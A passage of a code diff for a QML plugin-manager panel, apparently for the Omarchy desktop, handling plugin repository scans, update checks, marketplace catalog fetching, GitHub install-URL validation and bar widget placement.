/ pluginCommits (keyed by + // folder name) so each row can offer a repo link and compare its installed + // code against the marketplace listing snapshot. + function scanPluginRepos() { + var dir = (Quickshell.env("XDG_CONFIG_HOME") || Quickshell.env("HOME") + "/.config") + "/omarchy/plugins" + if (root.reposScanning) return + root.reposScanning = true + var script = "" + + "dirs=\"$0\"\n" + + "{ for d in \"$dirs\"/*/; do\n" + + " [ -d \"$d/.git\" ] || continue\n" + + " id=$(basename \"$d\")\n" + + " url=$(git -C \"$d\" remote get-url origin 2>/dev/null)\n" + + " sha=$(git -C \"$d\" rev-parse HEAD 2>/dev/null)\n" + + " [ -n \"$url$sha\" ] && echo \"$id|$url|$sha\"\n" + + "done; } | { head -c 16384; cat >/dev/null; }" + repoScanProcess.command = ["bash", "-c", script, dir] + repoScanProcess.running = true + } + + function repoUrlFor(sourceKey) { + return root.pluginRepos[sourceKey] || "" + } + + function openPluginRepo(sourceKey) { + var url = root.repoUrlFor(sourceKey) + // Only hand http(s) URLs to the browser: a malicious plugin's git remote + // could otherwise use file://, command:, or custom schemes via xdg-open. + if (url && /^https?:\/\//.test(url)) Qt.openUrlExternally(url) + } + + // Open an http(s) URL in the browser. QDesktopServices can silently no-op + // under some session setups, so fall back to a detached xdg-open when it + // reports failure. + property Process xdgOpenProcess: Process {} + function openExternal(url) { + var u = String(url || "") + if (!/^https?:\/\//.test(u)) return + console.log("omaplug open:", u) + if (!Qt.openUrlExternally(u)) { + console.log("omaplug openUrlExternally failed, falling back to xdg-open") + xdgOpenProcess.command = ["xdg-open", u] + xdgOpenProcess.running = true + } + } + + function openRowMenu(id, x, y) { + root.rowMenuId = id + root.rowMenuPos = { x: x, y: y } + root.rowMenuOpen = true + } + + function closeRowMenu() { + root.rowMenuOpen = false + root.rowMenuId = "" + } + + function rowMenuPlugin() { + for (var i = 0; i < root.pluginRows.length; i++) + if (root.pluginRows[i].id === root.rowMenuId) return root.pluginRows[i] + return null + } + + // Fetches every git-managed plugin's remote and reports which are behind. + // The script echoes a CHECK line before each plugin so the updates page can + // show per-plugin progress while the fetch runs, then the result line. + // + // helperPath defaults to plugin-state.sh (the manual "Check for updates" + // button always uses this, unparameterized). The background Timer below + // instead passes autoCheckCoordinatorPath: the omaplug bar widget exists + // once per monitor, each running its own independent Panel.qml/Timer, so + // an unattended tick would otherwise fire N simultaneous, fully redundant + // fetch passes over every installed plugin. The coordinator wraps + // plugin-state.sh with a lock + shared cache so only one instance's timer + // tick actually runs it; the others reuse that output. + function checkUpdates(helperPath) { + var dir = (Quickshell.env("XDG_CONFIG_HOME") || Quickshell.env("HOME") + "/.config") + "/omarchy/plugins" + var helper = helperPath || root.updateHelperPath + if (!dir || helper === "" || root.checkingUpdates || root.updateDetachedRunning) return + root.checkingUpdates = true + root.updateSummary = "" + // Deliberately not reset: this now also runs unattended in the + // background (autoUpdateCheckTimer below), and blanking every row/the + // bar badge back to "Pending" for the duration of a check the user never + // asked for would read as a regression flashing by on its own. Each + // plugin's entry is overwritten in place as its fresh CHECK/result line + // streams in (applyUpdateCheckLine), so a still-installed plugin only + // ever shows its last known state or a newer one, never a gap. + root.updateCheckLineBuf = "" + root.updateCheckProcessed = 0 + root.updateCheckSeen = {} + root.checkWatchdog.restart() + updateCheckProcess.command = helper === root.autoCheckCoordinatorPath + ? ["bash", helper, dir] + : ["python3", root.runtimeStatePath, "check-manual", dir] + updateCheckProcess.running = true + } + + // Runs checkUpdates() on its own, whether or not the panel is open (the + // BarWidget's Loader keeps this item alive in the background). checkUpdates + // already no-ops while a check or an update is in flight, so this can't + // step on a user-initiated check. Toggling autoCheckEnabled pauses/resumes + // the timer immediately; changing autoCheckIntervalHours re-times it on the + // next tick without needing a restart. + Timer { + id: autoUpdateCheckTimer + interval: root.autoCheckIntervalHours * 3600000 + running: root.autoCheckEnabled && root.autoCheckCoordinatorPath !== "" && root.hostWidget !== null + repeat: true + triggeredOnStart: true + onTriggered: root.checkUpdates(root.autoCheckCoordinatorPath) + } + + // Per-line parser for plugin-state.sh output: tab-separated + // "\t[<\torigin-url>]" records. States beyond CHECK are + // final; a non-empty origin-url also feeds pluginRepos so row links work. + function applyUpdateCheckLine(line) { + var cleanLine = String(line || "").trim() + if (cleanLine === "") return + var parts = cleanLine.split("\t") + if (parts.length < 2) return + var state = parts[0] + var key = parts[1] + if (["CHECK", "CURRENT", "UPDATE", "LOCAL_CHANGES", "LOCAL", "ERROR"].indexOf(state) < 0 || key === "") return + root.updateCheckSeen[key] = true + var st = {} + for (var k in root.updateStates) st[k] = root.updateStates[k] + st[key] = state + root.updateStates = st + + if (parts.length > 2 && parts[2] !== "") { + var repos = {} + for (var r in root.pluginRepos) repos[r] = root.pluginRepos[r] + repos[key] = parts[2] + root.pluginRepos = repos + } + } + + // Incremental per-line parse of the streaming check output. The collector's + // text is cumulative, so diff from the last-processed offset and buffer the + // tail until a newline lands. Each plugin is reported as CHECK, then + // CURRENT/UPDATE/ERROR; updateStates updates live so the updates page's rows + // flip as the fetch for each plugin completes. + function applyUpdateCheckData(text) { + var all = String(text || "") + if (root.checkingUpdates) root.checkWatchdog.restart() + var fresh = all.substring(root.updateCheckProcessed) + root.updateCheckProcessed = all.length + root.updateCheckLineBuf += fresh + var idx = root.updateCheckLineBuf.lastIndexOf("\n") + if (idx < 0) return + var ready = root.updateCheckLineBuf.substring(0, idx + 1) + root.updateCheckLineBuf = root.updateCheckLineBuf.substring(idx + 1) + var lines = ready.split("\n") + for (var i = 0; i < lines.length; i++) root.applyUpdateCheckLine(lines[i]) + } + + // Finalize after the stream ends: flush any unterminated tail, then compute + // the summary from the collected per-plugin states. + function finishUpdateCheck(exitCode) { + if (root.updateCheckLineBuf !== "") { + var tail = root.updateCheckLineBuf.trim() + root.updateCheckLineBuf = "" + if (tail !== "") root.applyUpdateCheckLine(tail) + } + root.checkWatchdog.stop() + root.checkingUpdates = false + var states = {} + for (var oldKey in root.updateStates) states[oldKey] = root.updateStates[oldKey] + for (var i = 0; i < root.updateCheckRows.length; i++) { + var sourceKey = root.updateCheckRows[i].sourceKey + if (!root.updateCheckSeen[sourceKey] || !states[sourceKey] || states[sourceKey] === "CHECK") states[sourceKey] = "ERROR" + } + root.updateStates = states + var updates = 0 + var errors = 0 + for (var key in root.updateStates) { + if (root.updateStates[key] === "UPDATE") updates++ + else if (root.updateStates[key] === "ERROR") errors++ + } + if (exitCode !== 0) + root.updateSummary = "Update check failed" + root.updateErrorSuffix(errors) + else if (updates === 0 && errors === 0) + root.updateSummary = "" + else if (updates === 0) + root.updateSummary = "No updates available" + root.updateErrorSuffix(errors) + else + root.updateSummary = updates + " update" + (updates > 1 ? "s" : "") + " available" + + root.updateErrorSuffix(errors) + } + + function updatePlugin(sourceKey) { + root.startDetachedUpdates([sourceKey]) + } + + function updateAll() { + if (root.checkingUpdates || root.updateDetachedRunning) return + var ids = [] + for (var i = 0; i < root.updateCheckRows.length; i++) { + var key = root.updateCheckRows[i].sourceKey + if (root.updateStates[key] === "UPDATE") ids.push(key) + } + root.startDetachedUpdates(ids) + } + + // Launch only the repositories proven updateable by the preceding check. + // The helper is detached because the first successful merge makes Omarchy + // unload this panel; progress lives at a stable runtime path so the newly + // loaded instance can reconnect to the same job. + function startDetachedUpdates(ids) { + if (!ids || ids.length === 0 || root.checkingUpdates || root.updateDetachedRunning) return + if (root.updateRunnerPath === "" || root.updateStatusPath === "") { + root.updateSummary = "Update helper not found" + return + } + + root.updateDetachedRunning = true + root.updateAwaitingStart = true + root.updateExpectedJobId = Date.now().toString(36) + "-" + Math.floor(Math.random() * 0x1000000).toString(36) + root.updateProbePid = "" + root.updateDeadProbeCount = 0 + root.updatingAll = ids.length > 1 + root.updatingId = ids.length === 1 ? ids[0] : "" + root.updateSummary = ids.length === 1 + ? "Updating " + ids[0] + "…" + : "Updating 0 of " + ids.length + "…" + + var launch = [root.updateRunnerPath, root.updateStatusPath, root.updateExpectedJobId] + for (var i = 0; i < ids.length; i++) launch.push(ids[i]) + try { + Quickshell.execDetached(launch) + } catch (e) { + root.markUpdateInterrupted("Update could not start") + return + } + updateStartTimer.restart() + updateStatusPoll.restart() + } + + function applyUpdateJobStatus() { + var text = "" + try { text = updateStatusStdout.text } catch (e) { return } + if (String(text || "").trim() === "") return + + var lines = String(text).split("\n") + var jobId = "" + var pid = "" + var total = 0 + var current = "" + var completed = 0 + var failures = 0 + var finished = 0 + var done = false + var outcomes = {} + + for (var i = 0; i < lines.length; i++) { + var parts = lines[i].split("\t") + var event = parts[0] + if (event === "job") jobId = parts[1] || "" + else if (event === "pid") pid = parts[1] || "" + else if (event === "total") total = parseInt(parts[1] || "0") + else if (event === "start") current = parts[1] || "" + else if (event === "ok") { + outcomes[parts[1]] = "CURRENT" + completed++ + if (current === parts[1]) current = "" + } else if (event === "failed") { + outcomes[parts[1]] = "ERROR" + completed++ + failures++ + if (current === parts[1]) current = "" + } else if (event === "finished") { + finished = parseInt(parts[1] || "0") + } else if (event === "done") { + done = true + completed = parseInt(parts[1] || String(completed)) + parseInt(parts[2] || String(failures)) + failures = parseInt(parts[2] || String(failures)) + } + } + + // A previous completed job may still be present while the newly detached + // helper starts. Ignore it until this panel sees its own job id. A panel + // recreated by Omarchy's hot reload has no expectation and adopts the + // current job from disk instead. + var expectingJob = root.updateExpectedJobId !== "" + if (jobId === "" || (expectingJob && jobId !== root.updateExpectedJobId)) return + if (!expectingJob && done && finished > 0 + && Date.now() / 1000 - finished > root.completedUpdateJobMaxAgeSeconds) return + root.updateExpectedJobId = jobId + root.updateAwaitingStart = false + updateStartTimer.stop() + if (pid !== root.updateProbePid) { + root.updateProbePid = pid + root.updateDeadProbeCount = 0 + } + + var states = {} + for (var key in root.updateStates) states[key] = root.updateStates[key] + for (var outcome in outcomes) states[outcome] = outcomes[outcome] + root.updateStates = states + root.updatingAll = total > 1 + root.updatingId = current + + if (done) { + root.updateDetachedRunning = false + root.updateAwaitingStart = false + root.updatingAll = false + root.updatingId = "" + root.updateProbePid = "" + root.updateDeadProbeCount = 0 + updateStartTimer.stop() + updateStatusPoll.stop() + var successes = Math.max(0, completed - failures) + if (failures === 0) + root.updateSummary = successes === 1 ? "1 plugin updated" : successes + " plugins updated" + else + root.updateSummary = successes + " updated, " + failures + " failed" + root.refreshPlugins() + return + } + + root.updateDetachedRunning = true + root.updateSummary = total > 1 + ? "Updating " + completed + " of " + total + (current ? ": " + current : "") + "…" + : (current ? "Updating " + current + "…" : "Preparing update…") + updateStatusPoll.restart() + } + + function recoverExistingUpdateOrFailStart() { + if (!root.updateAwaitingStart) return + root.updateAwaitingStart = false + root.updateExpectedJobId = "" + root.updateDetachedRunning = false + root.applyUpdateJobStatus() + if (!root.updateDetachedRunning) + root.markUpdateInterrupted("Update could not start. Another update may already be running.") + } + + function markUpdateInterrupted(message) { + root.updateDetachedRunning = false + root.updateAwaitingStart = false + root.updatingAll = false + root.updatingId = "" + root.updateExpectedJobId = "" + root.updateProbePid = "" + root.updateDeadProbeCount = 0 + updateStartTimer.stop() + updateStatusPoll.stop() + root.updateSummary = message || "Update interrupted. Check again." + } + + // Fetches the public marketplace catalog (capped at 2 MB like every other + // retained output) and builds the id -> {verified} map. + function fetchMarketplace() { + if (root.marketplaceFetching || root.marketplaceHelperPath === "") return + root.marketplaceFetching = true + root.marketplaceFetchFailed = false + marketplaceProcess.command = [root.marketplaceHelperPath] + marketplaceProcess.running = true + } + + function applyMarketplaceCatalog(text) { + root.marketplaceFetching = false + root.marketplaceFetchedAt = String(new Date().toISOString()) + var map = {} + try { + var catalog = JSON.parse(String(text || "{}")) + if (!catalog || typeof catalog !== "object" || !Array.isArray(catalog.plugins)) + throw new Error("catalog.plugins is not an array") + var plugins = catalog.plugins + for (var i = 0; i < plugins.length; i++) { + var entry = plugins[i] + if (!entry || typeof entry.id !== "string" || !entry.id) continue + map[entry.id] = { + name: typeof entry.name === "string" ? entry.name : "", + version: entry.version !== undefined ? String(entry.version) : "", + author: typeof entry.author === "string" ? entry.author : "", + description: typeof entry.description === "string" ? entry.description : "", + verified: entry.verificationStatus === "verified", + snapshotCommit: typeof entry.verificationCommit === "string" ? entry.verificationCommit : "", + snapshotStatus: String(entry.verificationCoverage || entry.verificationSnapshotStatus || entry.verificationStatus || ""), + upstreamCommit: typeof entry.upstreamObservedCommit === "string" ? entry.upstreamObservedCommit : "", + releaseUrl: entry.repositoryRelease && typeof entry.repositoryRelease.url === "string" ? entry.repositoryRelease.url : "" + } + } + } catch (e) { + console.log("marketplace catalog parse failed:", e) + return + } + root.marketplaceMap = map + root.mergeMarketplaceMetadata(map) + console.log("marketplace entries:", Object.keys(map).length) + } + + function mergeMarketplaceMetadata(map) { + var rows = [] + for (var i = 0; i < root.pluginRows.length; i++) { + var row = root.pluginRows[i] + var item = map[String(row.id)] || {} + rows.push({ + id: row.id, + name: row.name || item.name || row.id, + version: row.version !== "unknown" ? row.version : (item.version || "unknown"), + author: row.author || item.author || "", + description: row.description || item.description || "", + kinds: row.kinds, + canDisable: row.canDisable, + firstParty: row.firstParty, + sourceDir: row.sourceDir, + sourceKey: row.sourceKey, + updatable: row.updatable, + enabled: row.enabled + }) + } + root.pluginRows = rows + } + + property Process marketplaceProcess: Process { + onExited: function(exitCode) { + if (exitCode !== 0) { + root.marketplaceFetching = false + root.marketplaceFetchFailed = true + console.log("marketplace catalog fetch failed, exit code:", exitCode) + return + } + root.applyMarketplaceCatalog(marketplaceStdout.text) + } + stdout: StdioCollector { + id: marketplaceStdout + waitForEnd: true + } + } + + property Process repoScanProcess: Process { + onExited: function(exitCode) { + root.reposScanning = false + root.applyRepoScan(repoScanStdout.text) + } + stdout: StdioCollector { + id: repoScanStdout + waitForEnd: true + } + } + + function applyRepoScan(text) { + var out = String(text || "").trim() + if (out === "") return + var repos = {} + var commits = {} + var lines = out.split("\n") + for (var i = 0; i < lines.length; i++) { + var line = lines[i].trim() + if (line === "") continue + var parts = line.split("|") + if (parts.length < 2) continue + var key = parts[0].trim() + var url = (parts[1] || "").trim() + var sha = (parts[2] || "").trim() + if (!key) continue + if (url) repos[key] = url + if (/^[0-9a-f]{40}$/.test(sha)) commits[key] = sha + } + root.pluginRepos = repos + root.pluginCommits = commits + } + + property Process updateCheckProcess: Process { + onExited: function(exitCode) { + console.log("updateCheckProcess onExited exitCode=", exitCode) + root.finishUpdateCheck(exitCode) + } + stdout: StdioCollector { + id: updateCheckStdout + waitForEnd: false + onTextChanged: root.applyUpdateCheckData(updateCheckStdout.text) + } + } + + // Liveness probe for the detached update runner: kill -0 the recorded pid; + // two consecutive failures mean the helper died without a done marker. + property Process updateProbeProcess: Process { + onExited: function(exitCode) { + if (!root.updateDetachedRunning || root.updateAwaitingStart) return + if (exitCode === 0) { + root.updateDeadProbeCount = 0 + return + } + root.updateDeadProbeCount++ + updateStatusFile.reload() + if (root.updateDeadProbeCount >= 2) + root.markUpdateInterrupted() + } + } + + Process { + id: updateStatusFile + command: ["python3", root.runtimeStatePath, "read", "update.status"] + function reload() { if (!running) running = true } + stdout: StdioCollector { id: updateStatusStdout; waitForEnd: true } + onExited: function(exitCode) { + if (exitCode === 0) root.applyUpdateJobStatus() + } + } + + Timer { + id: updateStartTimer + interval: 3000 + repeat: false + onTriggered: root.recoverExistingUpdateOrFailStart() + } + + Timer { + id: updateStatusPoll + interval: 500 + repeat: true + running: root.updateDetachedRunning + onTriggered: updateStatusFile.reload() + } + + Timer { + interval: 2000 + repeat: true + running: root.updateDetachedRunning && !root.updateAwaitingStart + onTriggered: { + if (!root.updateProbeProcess.running && /^[0-9]+$/.test(root.updateProbePid)) { + root.updateProbeProcess.command = ["bash", "-c", 'kill -0 "$0" 2>/dev/null', root.updateProbePid] + root.updateProbeProcess.running = true + } + } + } + + // Launches the detached install helper. It only needs to start the + // setsid/nohup command and exit, so no output collection is required. + property Process installLaunchProcess: Process { + onExited: function(exitCode) { + } + } + + property Process removeProcess: Process { + onExited: function(exitCode) { + root.onRemoveFinished(exitCode) + } + stdout: StdioCollector { id: removeStdout; waitForEnd: true } + } + + // Launches the detached shell restart. The shell dies mid-command, so the + // work runs setsid/nohup from a short-lived Process that exits immediately. + property Process restartShellProcess: Process { + onExited: function(exitCode) { + } + } + + // Only accepts GitHub repository URLs (https or git@). Mirrors the + // marketplace's github-repository validation and how omarchy plugin/theme + // installs are expected to use github links (omarchy plugin add + // https://github.com/owner/repo.git). Rejects non-GitHub hosts and any + // whitespace (space, tab, newline) to avoid crafted markup. + function isValidGitHubRepoUrl(url) { + if (!url || typeof url !== "string") return false + if (/\s/.test(url)) return false + var u = url.replace(/[.,;!?]+$/, "") + var httpsPat = /^https:\/\/github\.com\/[A-Za-z0-9_.-]+\/[A-Za-z0-9_.-]+(?:\.git)?\/?$/ + if (httpsPat.test(u)) { + var m = u.match(/^https:\/\/github\.com\/([A-Za-z0-9_.-]+)\/([A-Za-z0-9_.-]+)(?:\.git)?\/?$/) + if (m) { + var owner = m[1], repo = m[2].replace(/\.git$/, "") + if (owner.indexOf("..") !== -1 || repo.indexOf("..") !== -1) return false + if (!/^[A-Za-z0-9]/.test(owner) || !/^[A-Za-z0-9]/.test(repo)) return false + } + return true + } + var sshPat = /^git@github\.com:[A-Za-z0-9_.-]+\/[A-Za-z0-9_.-]+(?:\.git)?\/?$/ + if (sshPat.test(u)) { + var n = u.match(/^git@github\.com:([A-Za-z0-9_.-]+)\/([A-Za-z0-9_.-]+)(?:\.git)?\/?$/) + if (n) { + var o = n[1], r = n[2].replace(/\.git$/, "") + if (o.indexOf("..") !== -1 || r.indexOf("..") !== -1) return false + if (!/^[A-Za-z0-9]/.test(o) || !/^[A-Za-z0-9]/.test(r)) return false + } + return true + } + var sshUrlPat = /^ssh:\/\/git@github\.com\/([A-Za-z0-9_.-]+)\/([A-Za-z0-9_.-]+)(?:\.git)?\/?$/ + if (sshUrlPat.test(u)) { + var g = u.match(/^ssh:\/\/git@github\.com\/([A-Za-z0-9_.-]+)\/([A-Za-z0-9_.-]+)(?:\.git)?\/?$/) + if (g) { + var go = g[1], gr = g[2].replace(/\.git$/, "") + if (go.indexOf("..") !== -1 || gr.indexOf("..") !== -1) return false + if (!/^[A-Za-z0-9]/.test(go) || !/^[A-Za-z0-9]/.test(gr)) return false + } + return true + } + return false + } + + // Accepts either a bare GitHub URL or a full `omarchy plugin add ` + // command. Returns the validated GitHub URL, or "" if none found or not GitHub. + function extractInstallUrl(text) { + var t = String(text || "").trim() + if (t === "") return "" + function isValid(tok) { + tok = tok.replace(/[.,;!?]+$/, "") + return isValidGitHubRepoUrl(tok) + } + if (!/\s/.test(t)) { + return isValid(t) ? t.replace(/[.,;!?]+$/, "") : "" + } + var tokens = t.split(/\s+/) + for (var i = 0; i < tokens.length; i++) { + var tok = tokens[i].replace(/[.,;!?]+$/, "") + if (isValid(tok)) return tok + } + return "" + } + + // Called from the install dialog: extract the URL and ask for + // confirmation. Only GitHub URLs are accepted (https://github.com/owner/repo + // or git@github.com:owner/repo.git), matching omarchy plugin/theme + // expectations and preventing arbitrary host installs. The plugin is + // installed but NOT enabled by default. + function requestInstall(rawText) { + var raw = String(rawText || "").trim() + if (raw === "") return + var url = root.extractInstallUrl(raw) + if (url === "") { + root.installResult = "Please enter a valid GitHub repository URL (https://github.com/owner/repo or git@github.com:owner/repo.git)" + root.installFailed = true + return + } + root.installFailed = false + root.installResult = "" + root.installPendingUrl = url + root.installConfirmOpen = true + } + + function installPlugin() { + var url = root.installPendingUrl + if (url === "") return + root.installConfirmOpen = false + root.installRunning = true + root.installFailed = false + root.installResult = "Installing " + url + "…" + root.startDetachedInstall(url) + } + + // Structured status is separate from installer output and survives reloads. + property string installExpectedJobId: "" + + function startDetachedInstall(url) { + root.installExpectedJobId = Date.now().toString(36) + "-" + Math.floor(Math.random() * 0x1000000).toString(36) + root.installDetachedRunning = true + root.installResult = "Installing " + url + "…" + root.installWatchdog.restart() + try { + Quickshell.execDetached(["python3", root.runtimeStatePath, "install", url, root.installExpectedJobId]) + } catch (e) { + root.installDetachedRunning = false + root.installRunning = false + root.installFailed = true + root.installResult = "Install could not start" + root.installWatchdog.stop() + } + installStatusFile.reload() + } + + function cancelInstallConfirm() { + root.installPendingUrl = "" + root.installConfirmOpen = false + } + + Process { + id: installStatusFile + command: ["python3", root.runtimeStatePath, "read", "install.status"] + function reload() { if (!running) running = true } + stdout: StdioCollector { id: installStatusStdout; waitForEnd: true } + onExited: function(exitCode) { + if (exitCode === 0) root.onInstallStatusUpdate() + } + } + + Timer { + interval: 1000 + repeat: true + running: root.installDetachedRunning + onTriggered: installStatusFile.reload() + } + + function onInstallStatusUpdate() { + var data + try { data = JSON.parse(String(installStatusStdout.text)) } catch (e) { return } + if (!data || typeof data.job !== "string" + || (root.installExpectedJobId !== "" && data.job !== root.installExpectedJobId)) return + if (root.installExpectedJobId === "" && data.running !== true + && (!data.finished || Date.now() / 1000 - data.finished > 300)) return + root.installExpectedJobId = data.job + root.installDetachedRunning = data.running === true + root.installRunning = root.installDetachedRunning + if (root.installRunning) { + root.installResult = "Installing…" + if (!root.installWatchdog.running) root.installWatchdog.restart() + return + } + root.installWatchdog.stop() + root.installFailed = data.failed !== false + root.installResult = root.installFailed + ? "Install failed" + : "Installed. Review the code, then enable it in the list." + root.refreshPlugins() + } + + function refreshPlugins() { + if (root.pluginListProcess.running) return + root.pluginListProcess.command = ["omarchy", "plugin", "list", "--json"] + root.pluginListProcess.running = true + if (!root.pluginConfigProcess.running) { + root.pluginConfigProcess.command = ["omarchy-shell", "shell", "listShellConfig"] + root.pluginConfigProcess.running = true + } + } + + function applyPluginConfig(text) { + var config = {} + try { config = JSON.parse(String(text || "{}")) } catch (e) { return } + var nested = {} + var layout = config.bar && config.bar.layout ? config.bar.layout : {} + for (var section in layout) { + var entries = Array.isArray(layout[section]) ? layout[section] : [] + for (var i = 0; i < entries.length; i++) { + var widgets = entries[i] && Array.isArray(entries[i].widgets) ? entries[i].widgets : [] + for (var j = 0; j < widgets.length; j++) nested[String(widgets[j])] = true + } + } + root.nestedWidgetIds = nested + } + + function applyPluginList(text) { + var catalog + try { catalog = JSON.parse(String(text || "")) } + catch (e) { + console.warn("Could not parse omarchy plugin list:", e) + pluginRows = [] + return + } + if (!Array.isArray(catalog)) { + pluginRows = [] + return + } + var rows = [] + for (var i = 0; i < catalog.length; i++) { + var m = catalog[i] + if (!m || typeof m !== "object" || !m.id) continue + var id = String(m.id) + var kinds = Array.isArray(m.kinds) ? m.kinds : [] + var isBarOption = kinds.indexOf("bar") !== -1 + rows.push({ + id: id, + name: m.name || id, + version: "unknown", + author: "", + description: "", + kinds: kinds.join(", "), + canDisable: !isBarOption, + firstParty: m.firstParty === true, + sourceDir: "", + sourceKey: id, + updatable: m.firstParty !== true, + enabled: m.enabled === true + }) + } + rows.sort(function(a, b) { + var ka = a.firstParty ? 0 : 1 + var kb = b.firstParty ? 0 : 1 + if (ka !== kb) return ka - kb + return String(a.name).localeCompare(String(b.name)) + }) + pluginRows = rows + root.mergeMarketplaceMetadata(root.marketplaceMap) + root.pluginManifestProcess.command = ["bash", "-c", + "for base in \"$0/shell/plugins\" \"$HOME/.config/omarchy/plugins\"; do " + + "[ -d \"$base\" ] || continue; " + + "firstParty=false; [[ \"$base\" == \"$0/shell/plugins\" ]] && firstParty=true; " + + "find -L \"$base\" -maxdepth 4 -type f '(' -name manifest.json -o -name '*.manifest.json' ')' -print0 " + + "| while IFS= read -r -d '' file; do jq -c --argjson firstParty \"$firstParty\" " + + "'{id,name,version,author,description,kinds,firstParty:$firstParty}' \"$file\"; done; " + + "done", + Quickshell.env("OMARCHY_PATH")] + root.pluginManifestProcess.running = true + root.scanPluginRepos() + } + + function applyPluginMetadata(text) { + var metadata = {} + var lines = String(text || "").trim().split("\n") + for (var i = 0; i < lines.length; i++) { + try { + var item = JSON.parse(lines[i]) + if (item && item.id) metadata[String(item.id)] = item + } catch (e) { } + } + var rows = [] + if (root.pluginRows.length === 0) { + for (var id in metadata) { + var fallback = metadata[id] + var fallbackKinds = Array.isArray(fallback.kinds) ? fallback.kinds : [] + rows.push({ + id: id, + name: fallback.name || id, + version: fallback.version || "unknown", + author: fallback.author || "", + description: fallback.description || "", + kinds: fallbackKinds.join(", "), + canDisable: fallbackKinds.indexOf("bar") === -1, + firstParty: fallback.firstParty === true, + sourceDir: "", + sourceKey: id, + updatable: fallback.firstParty !== true, + enabled: false + }) + } + } + for (var j = 0; j < root.pluginRows.length; j++) { + var row = root.pluginRows[j] + var item = metadata[row.id] + if (!item) { + rows.push(row) + continue + } + rows.push({ + id: row.id, + name: item.name || row.name, + version: item.version || row.version, + author: item.author || row.author, + description: item.description || row.description, + kinds: Array.isArray(item.kinds) ? item.kinds.join(", ") : row.kinds, + canDisable: row.canDisable, + firstParty: row.firstParty, + sourceDir: row.sourceDir, + sourceKey: row.sourceKey, + updatable: row.updatable, + enabled: row.enabled + }) } + root.pluginRows = rows + } + + function setPluginEnabled(id, value) { + if (root.pluginToggleProcess.running) return + // Bar options cannot be disabled directly (they are bar placements); + // guard here so a stale UI can't fight the registry. + for (var i = 0; i < root.pluginRows.length; i++) { + var row = root.pluginRows[i] + if (row.id === id && value === false && row.canDisable === false) return + } + root.keepOpenAcrossRebuild() + var nested = root.nestedWidgetIds[String(id)] === true + var helper = String(Qt.resolvedUrl("nested-widget-toggle.sh")).replace(/^file:\/\//, "") + root.pluginToggleProcess.command = !value && nested + ? ["setsid", "-f", helper, id, "disable"] + : ["omarchy", "plugin", value ? "enable" : "disable", id] + root.pluginToggleProcess.running = true + } + + function pluginEnabled(id) { + for (var i = 0; i < root.pluginRows.length; i++) + if (root.pluginRows[i].id === id) + return root.pluginRows[i].enabled === true || root.nestedWidgetIds[String(id)] === true + return false + } + + // Bar-widget placement via the same CLI the bar group uses. Upstream + // drives enable/disable through `omarchy plugin …` subprocesses, so move + // follows the same pattern with `omarchy bar move` instead of touching + // the shell registry (which user panels no longer reach). + property var barLayoutCache: ({ left: [], center: [], right: [] }) + property Process barLayoutProcess: Process { + onExited: function(exitCode) { + if (exitCode === 0) root.applyBarLayout(barLayoutStdout.text) + } + stdout: StdioCollector { + id: barLayoutStdout + waitForEnd: true + } + } + property Process barMoveProcess: Process { + onExited: function(exitCode) { + var err = String(barMoveStdout.text || "").trim() + if (exitCode !== 0) { + root.moveSummary = "Move failed" + (err ? ": " + err : "") + } else if (root.movePending !== "") { + root.moveSummary = "Moved " + root.movePending + "." + } + root.movePending = "" + root.refreshBarLayout() + root.refreshPlugins() + } + stdout: StdioCollector { + id: barMoveStdout + waitForEnd: true + } + } + property string movePending: "" + + function refreshBarLayout() { + if (root.barLayoutProcess.running) return + root.barLayoutProcess.command = ["bash", "-c", "cat \"${XDG_CONFIG_HOME:-$HOME/.config}/omarchy/shell.json\""] + root.barLayoutProcess.running = true + } + + function applyBarLayout(text) { + var config + try { config = JSON.parse(String(text || "")) } + catch (e) { + console.warn("Could not parse shell.json for bar layout:", e) + return + } + var layout = config && config.bar ? config.bar.layout : null + var next = { left: [], center: [], right: [] } + var sections = ["left", "center", "right"] + for (var s = 0; s < sections.length; s++) { + var entries = layout && Array.isArray(layout[sections[s]]) ? layout[sections[s]] : [] + var ids = [] + for (var i = 0; i < entries.length; i++) { + var entry = entries[i] + var id = entry && typeof entry === "object" ? entry.id : entry + if (id) ids.push(String(id)) + } + next[sections[s]] = ids + } + root.barLayoutCache = next + } + + // Move state for the row-menu "Move to" actions. Only bar-widgets that are + // currently on the bar can move; anything else hides the menu entries. + function barSectionFor(id) { + var sections = ["left", "center", "right"] + for (var s = 0; s < sections.length; s++) { + var ids = root.barLayoutCache[sections[s]] || [] + if (ids.indexOf(String(id)) !== -1) return sections[s] + } + return "" + } + + function rowKinds(id) { + for (var i = 0; i < root.pluginRows.length; i++) + if (root.pluginRows[i].id === String(id)) return String(root.pluginRows[i].kinds || "") + return "" + } + + function rowName(id) { + for (var i = 0; i < root.pluginRows.length; i++) + if (root.pluginRows[i].id === String(id)) return String(root.pluginRows[i].name || id) + return String(id) + } + + function canMoveWidget(id) { + if (rowKinds(id).split(", ").indexOf("bar-widget") === -1) return false + return root.barSectionFor(id) !== "" + } + + function moveWidgetToSection(id, section) { + if (["left", "center", "right"].indexOf(section) === -1) return + if (root.barMoveProcess.running) return + if (root.barSectionFor(id) === section) return + root.keepOpenAcrossRebuild() + root.movePending = id + " to " + section + root.moveSummary = "Moving " + id + "…" + root.barMoveProcess.command = ["omarchy", "bar", "move", id, "--section", section] + root.barMoveProcess.running = true + } + + function moveWidgetToPosition(id, section, index) { + if (["left", "center", "right"].indexOf(section) === -1) return + if (root.barMoveProcess.running) return + root.keepOpenAcrossRebuild() + var target = Math.max(0, Math.floor(Number(index) || 0)) + root.movePending = id + " to " + section + root.moveSummary = "Moving " + id + "…" + root.barMoveProcess.command = ["omarchy", "bar", "move", id, "--section", section, "--index", String(target)] + root.barMoveProcess.running = true + } + + // Live bar layout grouped per section for the layout board. + function layoutSections() { + var out = [] + var sections = ["left", "center", "right"] + for (var s = 0; s < sections.length; s++) { + var ids = root.barLayoutCache[sections[s]] || [] + var items = [] + for (var i = 0; i < ids.length; i++) { + items.push({ id: ids[i], name: root.rowName(ids[i]) }) + } + out.push({ section: sections[s], entries: items }) + } + return out + } + + Component.onCompleted: { + console.log("Panel.qml loaded, filterMode=", root.filterMode, "rows=", root.pluginRows.length) + root.marketplaceHelperPath = String(Qt.resolvedUrl("marketplace-catalog.sh")).replace(/^file:\/\//, "") + root.updateHelperPath = String(Qt.resolvedUrl("plugin-state.sh")).replace(/^file:\/\//, "") + root.updateRunnerPath = String(Qt.resolvedUrl("update-helper.sh")).replace(/^file:\/\//, "") + 